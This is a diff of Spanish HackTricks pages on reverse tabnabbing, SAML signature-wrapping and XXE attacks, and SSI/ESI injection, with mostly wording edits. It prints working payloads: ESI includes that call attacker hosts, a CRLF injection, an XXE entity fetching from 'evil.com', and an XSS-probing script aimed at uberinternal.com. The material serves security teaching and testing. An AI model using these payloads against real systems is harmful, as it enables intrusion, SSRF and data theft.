Sin embargo, ten en cuenta que como el **atacante ahora puede controlar el objeto ventana del sitio web original** puede abusar de él de otras formas para realizar **ataques más sigilosos** (¿quizás modificando eventos de javascript para extraer información a un servidor controlado por él?)
Sin embargo, ten en cuenta que como el **atacante ahora puede controlar el objeto ventana del sitio web original** puede abusar de él de otras formas para realizar **ataques más sigilosos** (quizás modificando eventos de javascript para exfiltrar información a un servidor controlado por él?)
# Resumen
@ -39,7 +39,7 @@ Enlace entre páginas padre e hijo cuando se utiliza el atributo de prevención:
## Ejemplos <a href="#examples" id="examples"></a>
Crea las siguientes páginas en una carpeta y ejecuta un servidor web con `python3 -m http.server`\
Luego, **accede** a `http://127.0.0.1:8000/`vulnerable.html, **haz clic** en el enlace y observa cómo la **URL del sitio web original cambia**.
Luego, **accede** a `http://127.0.0.1:8000/`vulnerable.html, **haz clic** en el enlace y observa cómo la **URL** del **sitio web original** **cambia**.
{% code title="vulnerable.html" %}
```markup
@ -86,14 +86,14 @@ En el escenario donde ocurre un acceso **cross-origin** (acceso entre diferentes
- **`opener.length`**: El número de elementos iframe presentes en la ventana actual es devuelto por esta propiedad.
- **`opener.opener`**: Una referencia a la ventana que abrió la ventana actual se puede obtener a través de esta propiedad.
- **`opener.parent`**: Esta propiedad devuelve la ventana padre de la ventana actual.
- **`opener.self`**: Esta propiedad proporciona acceso a la propia ventana actual.
- **`opener.self`**: Esta propiedad proporciona acceso a la ventana actual en sí misma.
- **`opener.top`**: Esta propiedad devuelve la ventana del navegador más superior.
Sin embargo, en casos donde los dominios son idénticos, el sitio malicioso obtiene acceso a todas las propiedades expuestas por la referencia del objeto JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
# Prevención
La información de prevención está documentada en la [Hoja de trucos de HTML5](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
La información de prevención está documentada en la [Hoja de Trucos de HTML5](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
## Referencias
@ -104,14 +104,14 @@ La información de prevención está documentada en la [Hoja de trucos de HTML5]
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
</details>

View file

@ -4,14 +4,14 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -24,11 +24,11 @@ Otras formas de apoyar a HackTricks:
## Herramienta
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Una herramienta que puede tomar una URL o lista de URL y devolver la URL de consumo de SAML.
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Una herramienta que puede tomar una URL o una lista de URL y devolver la URL de consumo de SAML.
## Viaje de ida y vuelta XML
En XML, la parte firmada del XML se guarda en memoria, luego se realiza cierta codificación/decodificación y se verifica la firma. Idealmente, esa codificación/decodificación no debería cambiar los datos, pero basado en ese escenario, **los datos verificados y los datos originales podrían no ser los mismos**.
En XML, la parte firmada del XML se guarda en memoria, luego se realiza algún tipo de codificación/decodificación y se verifica la firma. Idealmente, esa codificación/decodificación no debería cambiar los datos, pero en ese escenario, **los datos que se verifican y los datos originales podrían no ser los mismos**.
Por ejemplo, revisa el siguiente código:
```ruby
@ -65,13 +65,13 @@ Para obtener más información sobre la vulnerabilidad y cómo abusar de ella:
## Ataques de Envoltura de Firma XML
En los **ataques de Envoltura de Firma XML (XSW)**, los adversarios explotan una vulnerabilidad que surge cuando los documentos XML son procesados en dos fases distintas: **validación de firma** e **invocación de función**. Estos ataques implican alterar la estructura del documento XML. Específicamente, el atacante **inyecta elementos falsificados** que no comprometen la validez de la Firma XML. Esta manipulación tiene como objetivo crear una discrepancia entre los elementos analizados por la **lógica de la aplicación** y los verificados por el **módulo de verificación de firma**. Como resultado, mientras la Firma XML sigue siendo técnicamente válida y pasa la verificación, la lógica de la aplicación procesa los **elementos fraudulentos**. En consecuencia, el atacante logra evadir la **protección de integridad** y **autenticación de origen** de la Firma XML, lo que permite la **inyección de contenido arbitrario** sin ser detectado.
En los **ataques de Envoltura de Firma XML (XSW)**, los adversarios explotan una vulnerabilidad que surge cuando los documentos XML son procesados en dos fases distintas: **validación de firma** e **invocación de función**. Estos ataques implican alterar la estructura del documento XML. Específicamente, el atacante **inyecta elementos falsificados** que no comprometen la validez de la Firma XML. Esta manipulación tiene como objetivo crear una discrepancia entre los elementos analizados por la **lógica de la aplicación** y los verificados por el **módulo de verificación de firma**. Como resultado, mientras la Firma XML sigue siendo técnicamente válida y pasa la verificación, la lógica de la aplicación procesa los **elementos fraudulentos**. En consecuencia, el atacante logra evadir la **protección de integridad** y **autenticación de origen** de la Firma XML, permitiendo la **inyección de contenido arbitrario** sin ser detectado.
Los siguientes ataques se basan en **[esta publicación de blog](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) y [este documento](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**. Por lo tanto, consulta esos recursos para más detalles.
### XSW #1
- **Estrategia**: Se agrega un nuevo elemento raíz que contiene la firma.
- **Implicación**: El validador puede confundirse entre el "Response -> Assertion -> Subject" legítimo y el "nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos.
- **Implicación**: El validador puede confundirse entre el "Response -> Assertion -> Subject" legítimo y el "nuevo Response -> Assertion -> Subject" malicioso del atacante, lo que lleva a problemas de integridad de datos.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../.gitbook/assets/image (538).png>)
@ -106,8 +106,8 @@ Los siguientes ataques se basan en **[esta publicación de blog](https://epi052.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../.gitbook/assets/image (543).png>)
### XSW #7
- **Estrategia**: Se inserta un elemento Extensions con la Assertion copiada como hijo.
- **Implicación**: Esto explota el esquema menos restrictivo del elemento Extensions para evadir contramedidas de validación de esquema, especialmente en bibliotecas como OpenSAML.
- **Estrategia**: Se inserta un elemento de Extensiones con la Assertion copiada como hijo.
- **Implicación**: Esto explota el esquema menos restrictivo del elemento de Extensiones para evadir contramedidas de validación de esquema, especialmente en bibliotecas como OpenSAML.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../.gitbook/assets/image (544).png>)
@ -129,7 +129,7 @@ Si no sabes qué tipo de ataques son los XXE, por favor lee la siguiente página
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
{% endcontent-ref %}
Las respuestas SAML son **documentos XML comprimidos y codificados en base64** y pueden ser susceptibles a ataques de Entidad Externa XML (XXE). Al manipular la estructura XML de la respuesta SAML, los atacantes pueden intentar explotar vulnerabilidades de XXE. Así es como se puede visualizar un ataque de este tipo:
Las respuestas SAML son **documentos XML comprimidos y codificados en base64** y pueden ser susceptibles a ataques de Entidad Externa XML (XXE). Al manipular la estructura XML de la respuesta SAML, los atacantes pueden intentar explotar vulnerabilidades XXE. Así es como se puede visualizar un ataque de este tipo:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -201,21 +201,22 @@ También puedes utilizar la extensión de Burp [**SAML Raider**](https://portswi
Con las firmas eliminadas, permite que la solicitud avance hacia el objetivo. Si la firma no es requerida por el Servicio
## Falsificación de Certificado <a href="#certificate-faking" id="certificate-faking"></a>
## Falsificación de Certificados <a href="#certificate-faking" id="certificate-faking"></a>
La Falsificación de Certificado es una técnica para probar si un **Proveedor de Servicios (SP) verifica correctamente que un Mensaje SAML está firmado** por un Proveedor de Identidad de confianza (IdP). Implica usar un ***certificado autofirmado** para firmar la Respuesta o Aserción SAML, lo que ayuda a evaluar el proceso de validación de confianza entre SP e IdP.
La Falsificación de Certificados es una técnica para probar si un **Proveedor de Servicios (SP) verifica correctamente que un Mensaje SAML esté firmado** por un Proveedor de Identidad (IdP) de confianza. Implica usar un ***certificado autofirmado** para firmar la Respuesta o Aserción SAML, lo que ayuda a evaluar el proceso de validación de confianza entre SP e IdP.
### Cómo Realizar la Falsificación de Certificado
### Cómo Realizar la Falsificación de Certificados
Los siguientes pasos describen el proceso utilizando la extensión de Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
1. Intercepta la Respuesta SAML.
2. Si la respuesta contiene una firma, envía el certificado a SAML Raider Certs usando el botón `Send Certificate to SAML Raider Certs`.
2. Si la respuesta contiene una firma, envía el certificado a SAML Raider Certs utilizando el botón `Send Certificate to SAML Raider Certs`.
3. En la pestaña Certificados de SAML Raider, selecciona el certificado importado y haz clic en `Save and Self-Sign` para crear un clon autofirmado del certificado original.
4. Regresa a la solicitud interceptada en el Proxy de Burp. Selecciona el nuevo certificado autofirmado desde el menú desplegable de Firma XML.
5. Elimina cualquier firma existente con el botón `Remove Signatures`.
6. Firma el mensaje o la aserción con el nuevo certificado usando el botón **`(Re-)Sign Message`** o **`(Re-)Sign Assertion`**, según corresponda.
6. Firma el mensaje o aserción con el nuevo certificado utilizando el botón **`(Re-)Sign Message`** o **`(Re-)Sign Assertion`**, según corresponda.
7. Reenvía el mensaje firmado. La autenticación exitosa indica que el SP acepta mensajes firmados por tu certificado autofirmado, revelando posibles vulnerabilidades en el proceso de validación de los mensajes SAML.
## Confusión del Destinatario del Token / Confusión del Objetivo del Proveedor de Servicios <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
La Confusión del Destinatario del Token y la Confusión del Objetivo del Proveedor de Servicios implican verificar si el **Proveedor de Servicios valida correctamente el destinatario previsto de una respuesta**. En esencia, un Proveedor de Servicios debería rechazar una respuesta de autenticación si estaba destinada a otro proveedor. El elemento crítico aquí es el campo **Recipient**, que se encuentra dentro del elemento **SubjectConfirmationData** de una Respuesta SAML. Este campo especifica una URL que indica dónde debe enviarse la Aserción. Si el destinatario real no coincide con el Proveedor de Servicios previsto, la Aserción debería considerarse inválida.
@ -264,7 +265,7 @@ Esto reveló que el parámetro `base` acepta una URL. Considerando esto, surgió
[De esta investigación](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
La herramienta [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) se utilizó para analizar subdominios de `uberinternal.com` en busca de dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para apuntar a la página `oidauth/prompt`. Este script prueba la presencia de XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos en que la entrada se refleja, el script marca la página como vulnerable.
La herramienta [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) se utilizó para analizar subdominios de `uberinternal.com` en busca de dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para apuntar a la página `oidauth/prompt`. Este script prueba el XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos en que la entrada se refleja, el script marca la página como vulnerable.
```python
import requests
import urllib3
@ -290,14 +291,14 @@ print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + d
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -7,7 +7,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -49,7 +49,7 @@ GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
...
```
La Solicitud SAML en bruto se ve así:
La solicitud SAML en bruto se ve así:
```xml
<?xml version="1.0"?>
<samlp:AuthnRequest ...

View file

@ -1,33 +1,33 @@
# Inclusión del Lado del Servidor/Inclusión del Lado del Borde Inyección
# Inclusión del Lado del Servidor/Inclusión del Lado del Borde
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Información Básica sobre la Inclusión del Lado del Servidor
**(Introducción tomada de la [documentación de Apache](https://httpd.apache.org/docs/current/howto/ssi.html))**
**(Introducción tomada de [la documentación de Apache](https://httpd.apache.org/docs/current/howto/ssi.html))**
SSI (Inclusiones del Lado del Servidor) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras las páginas se están sirviendo. Te permiten **agregar contenido generado dinámicamente** a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.\
SSI (Server Side Includes) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras las páginas se están sirviendo. Te permiten **agregar contenido generado dinámicamente** a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.\
Por ejemplo, podrías colocar una directiva en una página HTML existente, como:
`<!--#echo var="DATE_LOCAL" -->`
Y, cuando se sirva la página, este fragmento se evaluará y se reemplazará con su valor:
Y, cuando se sirva la página, este fragmento será evaluado y reemplazado con su valor:
`Martes, 15-Ene-2013 19:28:54 EST`
La decisión de cuándo usar SSI, y cuándo tener tu página generada completamente por algún programa, suele ser una cuestión de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeños fragmentos de información, como la hora actual, mostrada arriba. Pero si la mayoría de tu página se está generando en el momento en que se sirve, necesitas buscar alguna otra solución.
La decisión de cuándo usar SSI, y cuándo tener tu página generada completamente por algún programa, suele ser una cuestión de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeños fragmentos de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se está generando en el momento en que se sirve, necesitas buscar alguna otra solución.
Puedes inferir la presencia de SSI si la aplicación web utiliza archivos con las extensiones \*\* `.shtml`, `.shtm` o `.stm`\*\*, pero no es el único caso.
@ -66,10 +66,10 @@ Una expresión SSI típica tiene el siguiente formato:
<!--#set var="name" value="Rich" -->
```
## Inclusión en el Lado del Borde
## Inclusión en el Borde
Existe un problema al **almacenar en caché información o aplicaciones dinámicas**, ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que debe generarse** antes de enviar la versión en caché.\
si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
Existe un problema al **almacenar en caché información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que debe generarse** antes de enviar la versión en caché.\
si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces, podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
### Detección de ESI
@ -78,7 +78,7 @@ El siguiente **encabezado** en una respuesta del servidor significa que el servi
Surrogate-Control: content="ESI/1.0"
```
Si no puedes encontrar este encabezado, el servidor **podría estar utilizando ESI de todos modos**.\
También se puede utilizar un **enfoque de explotación a ciegas** ya que una solicitud debería llegar al servidor del atacante:
También se puede utilizar un enfoque de **explotación a ciegas** ya que una solicitud debería llegar al servidor del atacante:
```javascript
// Basic detection
hell<!--esi-->o
@ -101,7 +101,7 @@ hell<!--esi-->o
```
### Explotación de ESI
[GoSecure creó](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) una tabla para comprender los posibles ataques que podemos intentar contra diferentes software capaces de ESI, dependiendo de la funcionalidad admitida:
[GoSecure creó](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) una tabla para entender los posibles ataques que podemos intentar contra diferentes software capaces de ESI, dependiendo de la funcionalidad admitida:
* **Includes**: Admite la directiva `<esi:includes>`
* **Vars**: Admite la directiva `<esi:vars>`. Útil para evadir los filtros XSS
@ -110,13 +110,13 @@ hell<!--esi-->o
* **Lista Blanca de Hosts**: En este caso, las inclusiones de ESI solo son posibles desde los hosts de servidor permitidos, lo que hace que, por ejemplo, SSRF solo sea posible contra esos hosts
| **Software** | **Includes** | **Vars** | **Cookies** | **Se Requieren Encabezados de Origen** | **Lista Blanca de Hosts** |
| :--------------------------: | :----------: | :------: | :---------: | :-------------------------------------: | :-----------------------: |
| Squid3 | Sí | Sí | Sí | Sí | No |
| Varnish Cache | Sí | No | No | Sí | Sí |
| Fastly | Sí | No | No | No | Sí |
| Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No |
| NodeJS esi | Sí | Sí | Sí | No | No |
| NodeJS nodesi | Sí | No | No | No | Opcional |
| :--------------------------: | :----------: | :------: | :---------: | :-------------------------------------: | :------------------------: |
| Squid3 | Sí | Sí | Sí | Sí | No |
| Varnish Cache | Sí | No | No | Sí | Sí |
| Fastly | Sí | No | No | No | Sí |
| Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No |
| NodeJS esi | Sí | Sí | Sí | No | No |
| NodeJS nodesi | Sí | No | No | No | Opcional |
#### XSS
@ -155,8 +155,6 @@ No confundir con una "Inclusión de archivo local":
<esi:include src="secret.txt">
```
#### CRLF
CRLF (Carriage Return Line Feed) es un término que se refiere a los caracteres de retorno de carro y salto de línea utilizados para representar el final de una línea de texto en varios sistemas operativos.
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
@ -197,7 +195,7 @@ Esto enviará información de depuración incluida en la respuesta:
```
### ESI + XSLT = XXE
Al especificar el valor `xslt` para el parámetro _dca_, es factible incluir ESI basado en **`eXtensible Stylesheet Language Transformations (XSLT)`**. La inclusión hace que el servidor HTTP recupere los archivos XML y XSLT, siendo este último el que filtra el primero. Estos archivos XML son explotables para ataques de _XML External Entity (XXE)_, lo que permite a los atacantes ejecutar ataques SSRF. Sin embargo, la utilidad de este enfoque es limitada ya que las inclusiones ESI ya sirven como un vector SSRF. Debido a la falta de soporte en la biblioteca subyacente Xalan, los DTD externos no se procesan, lo que evita la extracción de archivos locales.
Al especificar el valor `xslt` para el parámetro _dca_, es factible incluir ESI basado en **`Transformaciones de Lenguaje de Hoja de Estilo Extensible (XSLT)`**. La inclusión hace que el servidor HTTP recupere los archivos XML y XSLT, siendo este último el que filtra el primero. Estos archivos XML son explotables para ataques de _Entidades Externas XML (XXE)_, lo que permite a los atacantes ejecutar ataques SSRF. Sin embargo, la utilidad de este enfoque es limitada ya que las inclusiones de ESI ya sirven como un vector SSRF. Debido a la falta de soporte en la biblioteca subyacente Xalan, los DTD externos no se procesan, lo que evita la extracción de archivos locales.
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
@ -207,7 +205,7 @@ Archivo XSLT:
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Verifica la página XSLT:
Revisa la página XSLT:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
@ -230,10 +228,10 @@ Verifica la página XSLT:
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,26 +2,25 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
